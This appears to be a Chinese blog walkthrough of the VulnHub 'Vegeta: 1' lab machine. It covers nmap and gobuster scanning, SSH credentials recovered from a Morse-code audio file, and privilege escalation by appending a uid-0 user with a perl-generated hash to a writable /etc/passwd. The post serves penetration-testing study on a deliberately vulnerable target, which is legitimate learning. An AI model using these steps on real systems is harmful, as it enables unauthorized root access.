当前位置:网站首页>vulnhub Vegeta: 1
vulnhub Vegeta: 1
2022-06-24 22:47:00 【仙女象】
滲透思路:
nmap掃描----gobuster掃描網站目錄----在線解碼摩斯電碼,得到ssh用戶名密碼----/etc/passwd寫入用戶提權
環境信息:
靶機:192.168.101.77
攻擊機:192.168.101.34
具體步驟:
1、nmap掃描
sudo nmap -sV -sC -p- 192.168.101.77
2、dirb掃描網站目錄(兔子洞)
dirb http://192.168.101.77發現http://192.168.101.77/robots.txt

(下面是一個兔子洞)
瀏覽器訪問http://192.168.101.77/robots.txt,發現/find_me

瀏覽器訪問/find_me,點擊find_me.html,並查看網頁源代碼

view-source:http://192.168.101.77/find_me/find_me.html
拉到最下面發現一大段注釋(沒啥用就不複制粘貼了)

base64解碼之後還是一堆沒有意義的亂碼,此路不通

3、gobuster掃描網站目錄
gobuster dir -u http://192.168.101.77/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt掃描到/bulma

http://192.168.101.77/bulma/是個目錄,裏面有個文件hahahaha.wav

下載下來聽了一下,感覺是摩斯電碼
4、在線解碼摩斯電碼,得到ssh用戶名密碼
找了個在線翻譯器:Morse Code Audio Decoder | Morse Code World
按upload上傳hahahaha.wav,然後按play,自動轉為文本信息

得到的結果是
USES: TRUNKS PASSWORD : US3R(S IN DOLLPS SYMBOL)

以用戶名trunks,密碼u$3r進行ssh登錄
ssh [email protected]
5、/etc/passwd寫入新用戶提權
查看/home/trunks/.bash_history,發現其中有向/etc/passwd寫入新用戶的操作

查看/etc/passwd的文件權限
ls -al /etc/passwd發現trunks用戶有寫權限

參考/home/trunks/.bash_history中的命令,先用perl生成加密的用戶密碼
perl -le 'print crypt("123456","addedsalt")'以上命令中,用戶的明文密碼為123456
然後再將新用戶test寫入/etc/passwd
echo "test:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >> /etc/passwd
最後切換到test用戶,輸入密碼123456,獲得root權限,並在/root目錄下找到root.txt
su - test

边栏推荐
- Pinduoduo updates the merchant live broadcast service agreement and strictly punishes the illegal merchants
- 【软件工程】期末重点
- Genesis公链与美国一众加密投资者齐聚Consensus 2022
- Row and column differences in matrix construction of DX HLSL and GL glsl
- Concurrency of heap memory allocation
- Unable to use the bean introduced into the jar package
- Analyze the implementation process of oauth2 distributed authentication and authorization based on the source code
- OSPF basic content
- cat写多行内容到文件
- Web攻击之CSRF和SSRF
猜你喜欢

软件设计的七大原则

Database transaction Transanction

Genesis public chain and a group of encryption investors in the United States gathered in consensus 2022

Technology Review: what is the evolution route of container technology? What imagination space is there in the future?
How to solve the problem that the computer suddenly can't connect to WiFi

The usage difference between isempty and isblank is so different that so many people can't answer it

别再乱用了,这才是 @Validated 和 @Valid 的真正区别!!!

Chapter 10 project stakeholder management

Combine pod identity in aks and secret in CSI driver mount key vault

NIO、BIO、AIO
随机推荐
2022年高处安装、维护、拆除考试模拟100题及模拟考试
【Mongodb】READ_ME_TO_RECOVER_YOUR_DATA,数据库被恶意删除
Idea close global search box
NiO zero copy
Annotation
Virtual private network foundation
The usage difference between isempty and isblank is so different that so many people can't answer it
CA Zhouji - the first lesson in 2022 rust
【WSL】SSH 远程连接及宿主机端口转发配置
Technology Review: what is the evolution route of container technology? What imagination space is there in the future?
C language operators and expressions
AQS source code analysis
Web security XSS foundation 06
The difference between interceptor and filter
Programmers become gods by digging holes in one year, carrying flags in five years and becoming gods in ten years
Problèmes de concurrence dans l'allocation de mémoire en tas
O (n) complexity hand tear sorting interview questions | an article will help you understand counting sorting
win10或win11打印机无法打印
使用Aggregated APIServer扩展你的kubernetes API
ThreadLocal memory leak